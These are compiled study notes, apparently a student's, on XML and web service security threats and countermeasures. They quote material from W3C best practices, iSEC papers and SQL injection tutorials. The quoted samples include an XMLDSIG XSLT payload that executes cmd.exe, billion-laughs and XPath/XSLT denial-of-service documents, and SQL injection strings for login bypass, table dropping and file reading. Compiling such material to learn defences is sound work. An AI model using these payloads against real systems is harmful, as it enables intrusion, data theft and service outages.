XMLWSS_BP0503 - 400 Bad Request

towerdevelopmentΔιαχείριση Δεδομένων

16 Δεκ 2012 (πριν από 4 χρόνια και 10 μήνες)

262 εμφανίσεις

XMLWSS_BP0503



4. PROTECT AGAINST XML DENIAL OF SERVICE ATTACKS



XML Denial of Service attacks may not be as popularized as the syn
-
flood attacks

of the dotcom era but they are more easily launched and capable of much more

damage. Whereas IP
-
based
DoS attacks require coordination of thousands of

clients to simultaneously swamp a Web server with requests, an XML DoS attack

can be launched with a single low
-
bandwidth message that is undetected by an

IP firewall.







XMLDSIG_Command_Injection



Serious security implications exist with support for the Extensible Stylesheet Language
Transform (XSLT)

Transform9

, an OPTIONAL algorithm in the XMLDSIG core specification, identified by the URI

“http://www.w3.org/TR/1999/REC
-
xslt
-
19991116
”. A non
-
normative, introductory

reference to XSLT is [

10].


In other words, the submitter of a signature may, by design, include an arbitrary program
which must be

executed to determine the validity of the signature. This, of course,

should raise
immediate security

concerns.




Nearly all XSLT processor implementations allow for the definition of extensions, and
commonly include

and support a set of default extensions. It is typical for these extensions to enable file
sy
stem operations,

inclusion of functions written in a variety of scripting languages, mapping of XML
namespaces to class

libraries or functions in the processor

s implementation language, and even connecting to
a database and

executing SQL. These operations are clearly security
-
relevant and almost certainly not
expected or

intended behavior for signature validation. Implementers of XMLD
SIG processors
who rely on their

default platform XSLT services may be inadvertently exposing these services through
the XMLDSIG

interface.



While XSLT is standardized, extension mechanisms are usually platform specific. Space
does
not permit

an exhaustive discussion here, but extension mechanisms with security
-
critical side
effects exist in the majority of XSLT processing engines available, including Xalan
-
J12,,
Xalan
-
XSLTC13, Saxon14, MSXML15, , Oracle XDK 10g17,
Sablotron18, XT19 and
Unicorn20





The following sample XML Signature syntax illustrates exploitation of an extension
mechanism, in this

case the Java class mapping feature available in several flavors of Xalan, the most
widely
used XSLT

processor for the Java environment. This signature, though invalid, will execute the
program

“c:
\
Windows
\
system32
\
cmd.exe” when processed by a vulnerable implemenation. The
syntax is

a bit unusual, as the object
-
oriented, im
perative style of Java must be mapped into the
static, functional

style of XSLT, but the code is relatively straightforward. Lines 12
-
13 declare mappings
between XML

namespaces and classes in the standard Java library. Line 16 i
nstantiates an instance
of the

java.lang.Runtime class, and line 17 calls the exec() method to execute a system command.
Lines 18 and

19 convert and select our objects as String representations, to work around optimizations
performed by the

XSLT
processor.


01: <?xml version="1.0" encoding="UTF
-
8"?>

02: <Envelope xmlns="urn:envelope">

03: <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">

04: <SignedInfo>

05: <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC
-
xml
-
c14n
-
2001031
5#WithComnts"/>

06: <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa
-
sha1"/>

07: <Reference URI="">

08: <Transforms>

09: <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped
-
signature"/>

10: <Transform Algorithm="http://w
ww.w3.org/TR/1999/REC
-
xslt
-
19991116">

11: <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 12:
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"

13: xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"


14: exclude
-
result
-
prefixes= "rt,ob">

15: <xsl:template match="/">

16: <xsl:variable name="runtimeObject" select="rt:getRuntime()"/>

17: <xsl:variable name="command"
select="rt:exec($runtimeObject,&apos;c:
\
Windows
\
system32
\
cmd.exe&apos;)"/>

18: <xsl
:variable name="commandAsString" select="ob:toString($command)"/>

19: <xsl:value
-
of select="$commandAsString"/>

20: </xsl:template>

21: </xsl:stylesheet>

22: </Transform>

23: </Transforms>

24: <DigestMethod Algorithm="http://www.w3.org/2000/09/xmld
sig#sha1"/>

25:
<DigestValue>uooqbWYa5VCqcJCbuymBKqm17vY=</DigestValue></Reference></Signe
dInfo>

26:

<SignatureValue>hYlWl
...
=</SignatureValue>

27: <KeyInfo>

28: <X509Data>

29: <X509Certificate>
SCBO...
EXUsmz5</X509Certificate>

30: </X509Data>

31: <
/KeyInfo>

32: </Signature>

33: </Envelope>







Signature verification may use a key explicitly supplied by the caller, but the XMLDSIG
specification also

provides methods for keys to be directly included, identified or described by reference in the
Sig
nature

via the KeyInfo element.





The XPath, XPath Filter 2.0 and

Canonicalization transforms, either with complex inputs or in large multiples, can be used to
consume large

amounts of system resources. Further denial of service attacks may b
e mounted by
injection of remote

references, either to key material or signed content, even on systems that are highly
constrained in the

number and type of transform algorithms supported




XMLENC és XMLDIGSIG


Transforms may be sp
ecified for a RetrievalMethod as they are for References, and
the

KeyInfo element cannot be authenticated. (The KeyInfo element may be part of the content
protected

by a signature, but to actually authenticate it would require validating the s
ignature, which
requires a key...)

Implementations that support RetrievalMethod, and particularly Transforms, in KeyInfo

inherently admit the possibility that an attacker can inject processing instructions and must
mitigate such

risks appr
opriately. It is likely not the case that an identical set of algorithms will be
appropriate for both

the (anonymous) KeyInfo and the (authenticated) SignedInfo. Implementations that
process

KeyInfo may be vulnerable to attacks by injected

transforms even if following a
conservative order of

operations for signature validation.








Implementers SHOULD disable the XSLT transform by default.








The XSLT transform SHOULD NOT be a supported algorithm for RetrievalMethod
with
out

explicit user consent. Enabling the XSLT transform for References SHOULD NOT enable
it for

RetrievalMethods as a side effect.









Callers SHOULD have the ability to use URI resolvers with different properties for
processing
the

anonymous KeyInfo and the authenticated SignedInfo. For example, a caller may be
willing to

dereference remote URIs in SignedInfo after authenticating the originator, but only
allow same
-

document references in KeyInfo as a
n attack surface reduction measure.










ProtectingWebServicesAndAapplications



Web services vulnerabilities can be present in the:

Operating system or the applications that ship with it

Network

Database

Web server

Application server

XML parser or Web

services implementation / stack

Application code

XML appliance




<?xml version="1.0" encoding="UTF
-
8"?>

<!DOCTYPE SOAP
-
ENV:Envelope [


<!ELEMENT SOAP
-
ENV:Envelope ANY>


<!ATTLIST SOAP
-
ENV:Envelope entityReference CDATA #IMPLIED>


<!ENTITY x0 "Bomb!">


<!ENTITY x1 "&x0;&x0;">


<!ENTITY x2 "&x1;&x1;">


...


<!ENTITY x20 "&x19;&x19;">


<!ENTITY x21 "&x20;&x20;">





<!ENTITY x99 "&x98;&x98;">

]>



2
^
99 = 633825300114114700748351602688



Turn off DTD support in XML parsers




SQL Injections

Policy:

V
alidate user input; strip potentially malicious characters like ‘ and “



PL.: WSS használata esetén kötelező a timestamp tag, de wss nélkül nem feltétlen van
megadva: lehet warning

Capture and Replay Attacks

Policy:

Use signed random nonce values and Ti
mestamps


External Entity Attacks

Policy:

Disable DTD processing in XML parser

Test:

Simulate attacks, regression test


XML Bombs

Policy:

Disable DTD processing in XML parser












white_paper_web_service_security_threat



There are many ways to cla
ssify these attacks. One way to classify them is below:


XML
-
based attacks

Taking advantage of the way XML works. For instance, an XML document can be

sent that causes a large entity expansion, tying up system resources.


Bugs in back end systems

Many t
echnologies are used in the XML message stream and can include XML

parsers, application servers, operating systems, databases, etc. XML can

encapsulate malware that can take advantage of bugs in these systems


Code injection attacks

Attack code can be s
ent via a SOAP message to be later executed in a receiving

application. For instance SQL injection or cross
-
site scripting attacks are relatively

easy to create.


Content
-
based attacks

Viruses, overly long strings, large messages, malformed messages are

examples

of attacks that can cause unexpected behavior at the receiving application


Denial of Service

A flood of messages, or a message with hundreds of encrypted elements may

cause systems resources to be tied up and service levels to be affected.


Man

in the middle attack

Messages can be intercepted to cause routing problems or integrity problems.

This can cause a receiving application to be disrupted or to be illegally accessed.













http://www.unixwiz.net/techtips/sql
-
injection.html

Steve Fr
iedl's Unixwiz.net Tech Tips

SQL Injection Attacks by Example

sql
-
injection.html


SQL Injection" is subset of the an unverified/unsanitized user input vulnerability ("buffer
overflows" are a different subset), and the idea is to convince the application
to run SQL code
that was not intended. If the application is creating SQL strings naively on the fly and then
running them, it's straightforward to create some real surprises.




The login page had a traditional username
-
and
-
password form, but also an emai
l
-
me
-
my
-
password link; the latter proved to be the downfall of the whole system.


When entering an email address, the system presumably looked in the user database for that
email address, and mailed something to that address. Since
my

email address is not
found, it
wasn't going to send
me

anything.




SELECT
fieldlist


FROM
table


WHERE
field

= '
anything' OR 'x'='x
';


Your login information has been mailed to
random.person@example.com
.

Our best guess is tha
t it's the
first

record returned by the query, effectively an entry taken at
random.




SELECT
fieldlist


FROM
table


WHERE
field

= '
x' AND email IS NULL;
--
';

If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's
mos
t likely due to a bad field name. If we get any kind of valid response, we guessed the
name correctly. This is the case whether we get the "email unknown" or "password was sent"
response.

If this hadn't worked, we'd have tried
email_address

or
mail

or the
like. This process will
involve quite a lot of guessing.




SELECT email, passwd, login_id, full_name


FROM
table


WHERE
email

= '
x' AND 1=(SELECT COUNT(*) FROM
tabname
);
--
';

We don't care how many records are there, of course, only whether the table nam
e is valid or
not. By iterating over several guesses, we eventually determined that
members

was a valid
table in the database. But is it the table used in
this

query? For that we need yet another test
using
table
.
field

notation: it only works for tables th
at are actually part of this query, not
merely that the table exists.

SELECT email, passwd, login_id, full_name


FROM members


WHERE email = '
x' AND members.email IS NULL;
--
';


When this returned "Email unknown", it confirmed that our SQL was well forme
d and that we
had properly guessed the table name. This will be important later, but we instead took a
different approach in the interim.




We can do the query on email name or full name (or presumably other information), each
time putting in the
%

wildca
rds that
LIKE

supports:

SELECT email, passwd, login_id, full_name


FROM members


WHERE email = '
x' OR full_name LIKE '%Bob%
';

Keep in mind that even though there may be more than one "Bob", we only get to see one of
them: this suggests refining our
LIKE

clause narrowly.

Ultimately, we may only need one valid email address to leverage our way in.

Executing more than one query in one transaction
.


SELECT email, passwd, login_id, full_name


FROM members


WHERE email = '
x'
; DROP TABLE members;
--
';
--

Boo
m!




Mail me a password:


SELECT email, passwd, login_id, full_name


FROM members


WHERE email = '
x';


UPDATE members


SET email = 'steve@unixwiz.net'


WHERE email = 'bob@example.com
';






http://ferruh.mavituna.com/sql
-
injection
-
cheatshe
et
-
oku/



M :
MySQL
S :
SQL Server
P :
PostgreSQL
O :
Oracle
+ :
Possibly all other databases


Username:

admin
'
--


SELECT * FROM members WHERE username = '
admin'
--
' AND password = 'password'

This is going to log you as admin user, because rest of the SQL q
uery will be ignored.



Inline Comment SQL Injection Attack Samples

DROP TABLE members
/*

Simply get rid of other stuff at the end the of query. Same as
10; DROP TABLE members
--



SELECT
/*!
32302

1/0, */

1 FROM tablename

Will throw an
divison by 0 error
if MySQL version is higher than
3.23.02




String related operations. These can be quite useful to build up injections which are not using
any quotes, bypass any other black listi
ng or determine back end database.

String Concatenation

+

(S)

SELECT login
+ '
-
' +

password FROM members

||

(*MO)

SELECT login
|| '
-
' ||

password FROM members

*About MySQL "||";

If MySQL is running in ANSI mode it’s going to work but otherwise MySQL acce
pt it as
`logical operator` it’ll return 0. Better way to do it is using
CONCAT()

function in MySQL.

CONCAT(str1, str2, str3, ...)

(M)

Concatenate supplied strings.


SELECT
CONCAT(login, password)

FROM members






These are some direct ways to using strin
gs but it’s always possible to use
CHAR()
(MS) and
CONCAT()
(M) to generate string without quotes.

0x457578

(M)
-

Hex Representation of string

SELECT 0x457578

This will be selected as string in MySQL.


In MySQL easy way to generate hex representations of st
rings use this;

SELECT CONCAT('0x',HEX('c:
\
\
boot.ini'))

Using
CONCAT()

in MySQL

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))

(M)

This will return ‘KLM’.

SELECT CHAR(75)+CHAR(76)+CHAR(77)

(S)

This will return ‘KLM’.

Hex based SQL Injection Samples

SELECT LOAD
_FILE(
0x633A5C626F6F742E696E69
)

(M)

This will show the content of
c:
\
boot.ini




With union you do SQL queries cross
-
table. Basically you can poison query to return records
from another table.


If application is first getting the record by username and th
en compare returned MD5 with
supplied password's MD5 then you need to some extra tricks to fool application to bypass
authentication. You can union results with a known password and MD5 hash of supplied
password. In this case application will compare your
password and your supplied MD5 hash
instead of MD5 from database.


Bypassing MD5 Hash Check Example (MSP)

Username :

admin

Password :

1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)




Finding column number by ORDER BY can speed up the UNION SQL Injection process.

ORDER BY 1
--


ORDER BY 2
--

ORDER BY N
--

so on

Keep going until get an error. Error means you found the number of selected columns.


























Web_Services_Ha
cking_and_Hardening.pdf



• Operates over common web transports, traditional firewalls

are based on the concept of stopping attacks at the OS level

not at the Message Level (Layer 3
-
5).








Be Careful about Unicode representations of characters to
avoid

detection. Parsers will do funny things with these….

<blog_update>%lt;JAVASCRIPT%rt; Malicious Script </blog_update>

































Web Services Security and E
-
business.pdf


Innen pár támadási / védekezési dolgot ki lehet egészíten
i














































• SOAP Message Fault

A SOAPmessage fault is a special SOAPmessage response that contains error information
from the producer. It explicitly specifies a mandatory “fault” element. The server
implementation

detects any exceptions in the service and returns them to the client as a defined fault

message code.








Buzzword:
information leakage



















Anatomy_of_Attack_wp.pdf



• Web Services that have been layered atop legacy applications will i
mmediately expose

underlying application business logic vulnerabilities, thereby raising the number of exploits

exponentially.



Data
-
level validation steps within client/server architectures exist primarily within the user
-

interface logic. This type of

security is no longer relevant in Web Services
-
oriented architec
-

tures, and therefore needs to be updated

// erre példa egy olyan textbox egy formon, ami nem engedi meg mondjuk, hogy több pontot
írjak be, mint amennyim valójában van



The SOAP Header XML

tag is optional, and if present, contains meta
-

information such as security, routing and processing instructions for intermediaries and end
-
points.






For example, by submitting special characters (or

other unexpected content) the back
-
end implementat
ion of the Web Service can be

crashed, regardless of data validation.





Probing Attacks

These attacks are characterized by ‘brute force’ cracking using combinations of letters,

numbers and special characters in an attempt to determine which service requ
ests result in a
security

breach.

WSDL Scanning

“knocking on every door until one opens” approach is usually effective when poor

programming practices are employed or simply the result of operations that were excluded

from published WSDL documents yet ar
e still up and running for some reason.


Parameter Tampering.

For example, by submitting special characters (or

other unexpected content) the back
-
end implementation of the Web Service can be

crashed, regardless of data validation


Coercive Parsing

This
basic operation is an easy target for a hacker to create a DoS attack or degrade

application performance.

Recursive Payloads.

The

hacker selects a node within the SOAPmessage and replicates it to create a deeply nested struc

ture


Oversize Payloads.

A hac
ker can send a payload that is excessively large to deplete systems resources.



External Reference Attacks

to create DoS scenarios or information theft.


External Entity Attacks.

For example, a large number

of entity expansions can overload the CPU, resu
lting in a DoS condition








The (XML) threat is out there....htm


Often, programmers will leave the door open to attacks by using poor technique, like not
strictly defining the types of data they expect as input to Web services. One example of this
wou
ld be the use of the xml:any data type, as opposed to restricting input to an integer or
string. This lets attackers send harmful XML for this attribute
--

and as a perfectly legitimate
input!


Single message xDoS

Jumbo payloads
--

Sending a very large XM
L message to exhaust memory and CPU on the
target system.

Recursive elements
--

XML messages that can be used to force recursive entity expansion (or
other repeated processing) to exhaust server resources. An example of this type of attack
would be the
bil
lion laughs
attack that is widely available through the Internet.

MegaTags
--

Otherwise valid XML messages containing excessively long element names, or
an excessive number of tags. This attack may also lead to buffer overruns.

Coercive parsing
--

XML mess
ages specially constructed to be difficult to parse to consume
the resources of the machine.

Public key DoS
--

Utilizing the asymmetric nature of public key operations to force resource
exhaustion on the recipient by transmitting a message with a large num
ber of long
-
key
-
length,
computationally expensive digital signatures.


Multiple message XDoS

XML flood
--

Sending thousands of otherwise benign messages per second to tie up a Web
service. This attack can be combined with
Replay attack
to bypass authentic
ation, and with
Single message XDoS
to increase its impact.

Resource hijack
--

Sending messages that lock or reserve resources on the target server as part
of a never
-
completed transaction.

Unauthorized access

Dictionary attack
--

Guessing the password of

a valid user using a brute force search through
dictionary words.

Falsified message
--

Faking that a message is from a valid user, such as by using Man in the
Middle to gain a valid message, and then modifying it to send a different message.

Replay attack

--

Re
-
sending a previously valid message for malicious effect, possibly where
only parts of the message (such as the security token) are replayed.

Data integrity/Confidentiality

Message tampering
--

Modifying parts of a request or response in
-
flight; mos
t dangerous
when undetected (less commonly known as
Message alteration
).

Data tampering
--

Exploiting weakness in the access control mechanism that permits the
attacker to make unauthorized calls to the Web service to alter data.

Message snooping
--

A dire
ct attack on data privacy by examining all or part of the content of
a message. This can happen to messages being transmitted in the clear, transmitted encrypted
but stored in the clear, or decryption of messages due to stolen key or cryptoanalysis.

XPath/
XSLT injection
--

Injection of expressions into the application logic. Newer
modifications include
Blind XPath injection
, which reduces the knowledge required to mount
the attack.

SQL injection
--

Inserting SQL in XML to obtain additional data than what th
e service was
designed to return.

WSDL enumeration
--

Examining the services listed in WSDL to guess and gain access to
unlisted services.

Message snooping
--

Using SOAP routing header for access to internal Web services.

Systems compromise

Malicious incl
ude
--

Causing a Web service to include invalid external data in output or return
privileged files from the server file system. For example, using embedded file: URLs to return
UNIX password files or other privileged data to the attacker.

Memory space brea
ch
--

Accomplished via stack overflow, buffer overrun, or heap error,
enables execution of arbitrary code supplied by the attacker with the permissions of the host
process.

XML encapsulation
--

Embedding system command in the XML payload, such as through t
he
CDATA tag.

XML virus (X
-
Virus)
--

Using SOAP with attachments or other attachment mechanisms to
transmit malicious executables, such as viruses or worms.










Attacking_and_Defending_WS.pdf



2. Parameter Tampering

Parameters are used to convey clie
nt
-
specific information to the Web service in order to

execute a specific remote operation. Since instructions on how to use parameters are

explicitly described within a WSDL document, malicious users can play around with

different parameter options in
order to retrieve unauthorized information. For example by

submitting special characters or unexpected content to the Web service can cause a denial of

service condition or illegal access to database records


3. Recursive Payloads

An attacker can easi
ly create a document that attempts to stress

and break an XML parser by creating a document that is 10,000 or 100,000 elements deep.


4. Oversize Payloads

Parsers based on the DOM model are

especially susceptible to this attack given its need to model
the entire document in memory

prior to parsing


8. External Entity Attack

Another benefit of XML is its ability to build documents dynamically at the time of insert

by pointing to a URI where the actual data exists. These external entities may not be


trustworthy. An attacker can then replace the data being collected with malicious data.


SQL injection could allow an attacker to execute multiple commands in an input

field by using native command separators like ‘;’ or pipes.


10. Replay Attack

Simil
ar to the “network ping of death” a hacker can issue repetitive SOAP message requests

in a bid to overload a Web service. This type of network activity will not be detected as an

intrusion because the source IP is valid, the network packet behavior is va
lid and the HTTP

request is well formed. However, the business behavior is not legitimate and constitutes an

XML
-
based intrusion. In this manner, a completely valid XML payloads can be used to issue

a denial of service attack.


















iSEC_HILL
_AttackingXMLSecurity_Handout
-
1.pdf


The first operation of signature validation should be key resolution. Optimally, any KeyInfo
attached to the

signature can be discarded, and the proper key inferred from context and provided directly by
the caller.

If

the KeyInfo must be resolved from the signature, this resolution must be a distinct step so a
trust decision in

the key can be made before proceeding.

The next operation is to verify the signature by canonicalizing and digesting the signed info
me
tadata. Finally,

with the instructions in the signed info metadata authenticated, resolution and verification of
reference digests

can proceed.


If injecting redundant C14N

transforms into a RetrievalMethod element causes no change in vali
dation timing,
KeyInfo is likely not

processed. If injecting redundant C14N transforms into a Reference causes a long
delay before validation

fails, Reference processing is likely being performed before Signature validation.



1.1 C14N E
ntity Expansion

-

Denial of service

Exploit scenario: Attacker attaches a DTD containing entities which are recursively defined,
then inserts

such an entity reference into the SignedInfo or the XML content identified by a Reference.
Even if the

system X
ML parser is set not to expand entities, the rules of C14N require expansion of
entities.

Example: The following document will consume ~2 gigabytes of memory during
canonicalization.

<!DOCTYPE foo [

<!ENTITY a "1234567890" >

<!ENTITY b "&a;&a;&a;&a;&
a;&a;&a;&a;" >

<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;" >

<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;" >

<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;" >

<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;" >

<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;" >

<!ENTITY h "&g;&g;&g;&g;&g;&g
;&g;&g;" >

<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;" >

<!ENTITY j "&i;&i;&i;&i;&i;&i;&i;&i;" >

<!ENTITY k "&j;&j;&j;&j;&j;&j;&j;&j;" >

<!ENTITY l "&k;&k;&k;&k;&k;&k;&k;&k;" >

<!ENTITY m "&l;&l;&l;&l;&l;&l;&l;&l;" >

]>

<foo>&m;</foo>


SOAP forbi
ds DTDs to be included, so this attack is unlikely to succeed against a strict SOAP

implementation



2.1 C14N Transform Injection
-

dos

Exploit scenario: Even a highly restricted signature processor must implement a C14N
Transform to

process XML content
. The attacker inserts many redundant C14N transforms to consume
resources.


Restrict the total number of

transforms.



2.2 XPath & XPath Filter 2.0 Transform Injection
-

dos


Exploit scenario: Complex XPath expressions can be costly to process. XPath
Filters allow
Union,

Intersection and Subtraction operations on an XML node set using multiple XPath selections.
Intended as a

performance optimization, large filter sets specifying many complex XPath expressions can
quickly consume

many system resourc
es.


Restrict the total number of

transforms.

Xpath. Identifying content by a whole document reference or

by ID is preferable.



2.3 XSLT Transform Injection

-

Denial of service, signature evasion, code execution

Exploit scenario: XSLT is a complete pro
gramming environment. It is totally unsuitable for
use in a digital

signature technology. Using the base XSLT syntax, an attacker can specify loops that
consume unbounded

amounts of system resources or make outbound network connections.



More dangero
us is that a majority of XSLT process ors specify extension mechanisms that
allow operations

such as scripting, file system operations or even arbitrary code execution.




Mechanisms are available in common XSLT processors to execute Java, BeanShell,
Jav
aScript, VBScript, .Net

languages, even SQL, though extensions may not be exposed from any given XML Signature
processor.


As the XSLT transform is optional and cannot be relied on for interoperability, it should
always

be disabled or forbidden by schema

validation prior to signature verification.

If circumstances
dictate that

XSLT transforms must be used, extensions must be disabled in the XSLT processor



Hash Collision attack against SignedInfo with C14N with Comments



External Reference Attacks

If t
he processor supports multiple URL schemes (e.g. ldap://, file://, ftp://) the attacker may be
able to

force outbound network connectivity on a variety of protocols. If any of these protocol
handlers have

known flaws, these may now be triggered.


Do
not allow remote references, or enforce reference caching and pull data for application use

from the validation cache.



Element Wrapping Attacks

Lsd. tdk xmldigsig attack

További lsd:
XML Signature Wrapping Attacks and Countermeasures.PDF

If the entire

document is not referenced, modifications may be made to unprotected content, or signed
elements moved

around, potentially altering document semantics.


Prefer and enforce full document signing where possible.




















iSEC
-
Attacking
-
Web
-
Service
s.SyScan.pdf


• There are two standard types of XML parsers used across platforms



SAX: State
-
oriented, step
-
by
-
step stream parsing

• Lighter weight, but not as intelligent

• Event driven. Developers often use own state machine on top of parser.

• Attack:

User controlled data overwrites earlier node (XML Injection)



DOM: Complicated, powerful parsing

• Generally not vulnerable to XML Injection

• Attack: DoS by sending extremely complicated, but legal, XML



Creates huge object in memory

• Why use other ty
pes of floods to attack? XML parsing gives a much larger multiplier





XML Injection


<UserRecord>

<UniqueID>12345</UniqueID>

<Name>Henry Ackerman</Name>

<Email>
hackerman@bad.com</Email>

<UniqueID>0</UniqueID>

<Email>hackerman@bad.com</Email>

<Address>123

Disk Drive</Address>

<ZipCode>98103</ZipCode>

<PhoneNumber>206
-
123
-
4567</PhoneNumber>

</UserRecord>


SAX Parser Result: UniqueID=0










• XPath Examples:



“ car ”


returns all children of car node



“ /car ”


returns the root car element



“ //car



returns all car elements in the document



“ car//color ”


returns all colors under car element



“ //car/[color=‘blue’] ”


returns all cars that have a color child equal to blue


XPath Injection








CDATA mező:











XML Signature Wrapping
Attacks and
Countermeasures_.pdf
























// az





Figyelni kell arra, hogy amelyik soap:Body elem alá van írva, az is legyen feldolgozva majd
az alkalmazáson belül.

































































































































































XSLT:








































XML Signature Best Practices (w3c).htm


For example, reference validation before signature validati
on is extremely susceptible to
denial of service attacks in some scenarios.


Best Practice 1: Mitigate denial of service attacks by executing potentially dangerous
operations only after authenticating the signature.

Validate the ds:Reference elements for a

signature only after establishing trust, for example
by verifying the key and validating ds:SignedInfo first.



The following XSLT transform contains 4 levels of nested loops, and for each loop it iterates
over all the nodes of the document. So if the ori
ginal document has 100 elements, this would
take 100^4 = 100 million operations.

A malicious message could include this transform and
cause an application server to spend hours processing it.

t is unlikely that an authenticated
user would include this kind

of transform. XSLT transforms should only be processed for
References, and not for KeyInfo RetrievalMethods, and only after first authenticating the
entire signature and establishing an appropriate degree of trust in the originator of the
message.


<Trans
form Algorithm="http://www.w3.org/TR/1999/REC
-
xslt
-
19991116">


<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">


<xsl:template match="/">


<xsl:for
-
each select="//. | //@*">


<xsl:for
-
each select="//. | //@*">


<xsl:for
-
each select="//. | //@*">


<foo/>


<xsl:for
-
each>


<xsl:for
-
each>


<xsl:for
-
each>


</xsl:stylesheet>

<Transform>


Best Practice 3: Consider avoiding XSLT Transforms

Arbitrary XSLT processing might lead to d
enial of service or other risks, so either do not
allow XSLT transforms, only enable them for trusted sources, or consider mitigation of the
risks.









The following XPath Transform has an expression that simply counts all the nodes in the
document, bu
t it is embedded in special document that has a 100 namespaces ns0 to ns99 and
a 100 <e2> elements. The XPath model expects namespace nodes for each in
-
scope
namespace to be attached to each element, and since in this special document all the 100
namespace
s are in scope for each of the 100 elements, the document ends up having 100x100
= 10,000 NamespaceNodes.Now in an XPath Filtering transform, the XPath expression is
evaluated for every node in the document. So it takes 10,000 x 10,000 = 100 million
operat
ions to evaluate this document.


<ns0:e0>

<ns0:e1 xml:id="e1">

<ns0:e2/>

...

<ns0:e2/>

</ns0:e1>

<dsig:Signature>

<dsig:SignedInfo>

<dsig:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml
-
exc
-
c14n#"/>

<dsig:SignatureMethod Algorithm="http://w
ww.w3.org/2000/09/xmldsig#hmac
-
sha1"/>

<dsig:Reference URI="#e1">

<dsig:Transforms>

<dsig:Transform Algorithm="http://www.w3.org/TR/1999/REC
-
xpath
-
19991116">

<dsig:XPath>count(//. | //@* | //namespace::*)</dsig:XPath>

</dsig:Transform>

</dsig:Transforms>

<
dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>

<dsig:DigestValue>tssU8qhJwjSd5eHB1xveL2O4BME=</dsig:DigestValue>

</dsig:Reference>

</dsig:SignedInfo>

<dsig:SignatureValue>V/UafTFiDmRh/T3viPgyshZDkuo=</dsig:SignatureValue>

</dsig:Sig
nature>

</ns0:e0>



Best Practice 4: Try to avoid or limit XPath transforms

Complex XPath expressions (or those constructed together with content to produce expensive
processing) might lead to a denial of service risk, so either do not allow XPath transfor
ms or
take steps to mitigate the risk of denial of service.







The KeyInfo of a signature can contain a RetrievalMethod child element, which can be used
to reference a key somewhere else in the document.

RetrievalMethod has legitimate uses; for
example
when there are multiple signatures in the same document, these signatures can use a
RetrievalMethod to avoid duplicate KeyInfo certificate entries.

there is nothing that prevents the RetrievalMethod from pointing back to itself directly or
indirectly and f
orming a cyclic chain of references.

An implementation that must handle potentially hostile messages should constrain the
RetrievalMethod elements that it processes
-

e.g. permitting only a same
-
document URI
reference, and limiting the transforms allowed.


<RetrievalMethod xml:id="r1" URI="#r1"/>


vagy:


<RetrievalMethod Id="r1" URI="#r2"/>

<RetrievalMethod Id="r2" URI="#r1"/>




Best Practice 5: Try to avoid or limit RetrievalMethod support with KeyInfo

RetrievalMethod can cause security risks due to trans
forms, so consider limiting support for
it.












<Transform Algorithm="http://www.w3.org/TR/1999/REC
-
xpath
-
19991116">


<XPath>1</XPath>


</Transform>


<Transform Algorithm="http://www.w3.org/TR/2001/REC
-
xml
-
c14n
-
20010315">



<Tr
ansform Algorithm="http://www.w3.org/TR/1999/REC
-
xpath
-
19991116">


<XPath>1</XPath>


</Transform>


<Transform Algorithm="http://www.w3.org/TR/2001/REC
-
xml
-
c14n
-
20010315">



... repeated 1000 times



Best Practice 7: Limit number of ds:
Reference transforms allowed.

Too many transforms in a processing chain for a ds:Reference can produce a denial of service
effect, consider limiting the number of transforms allowed in a transformation chain.





Wrapping attack


Best Practice 9: When chec
king a reference URI, don't just check the name of the element

To mitigate attacks where the content that is present in the document is not what was actually
signed due to various transformations, verifiers should check both the name and position of an
ele
ment as part of signature verification.








By electing to only sign portions of a document this opens the potential for substitution
attacks.

Best Practice 11: Unless impractical, sign all parts of the document.

Signing all parts of a document helps prevent substitution and wrapping attacks.

To give an example, consider the case where someone signed the action part of the request,
but didn't include the user name part. In this case an attacker can easily take the
signed request
as is, and just change the user name and resubmit it.






Best Practice 14: Nonce and signing time must be signature protected.

A signature must include the nonce and signing time in the signature calculation for them to
be effective, since

otherwise an attacker could change them without detection.

Web Services Security
[WSS]

defines a <Timestamp> element which can contain a Created
dateTime value and/or a Expires dat
eTime value.








wss
-
v1.1
-
spec
-
os
-
SOAPMessageSecurity.pdf

wss
-
v1.1
-
spec
-
errata
-
os
-
SOAPMessageSecurity.pdf


Because of the mutability of some SOAP headers, producers SHOULD NOT use the
Enveloped

Signature Transform defined in XML Signature. Instead, m
essages SHOULD explicitly
include

the elements to be signed. Similarly, producers SHOULD NOT use the Enveloping Signature

defined in XML Signature [XMLSIG].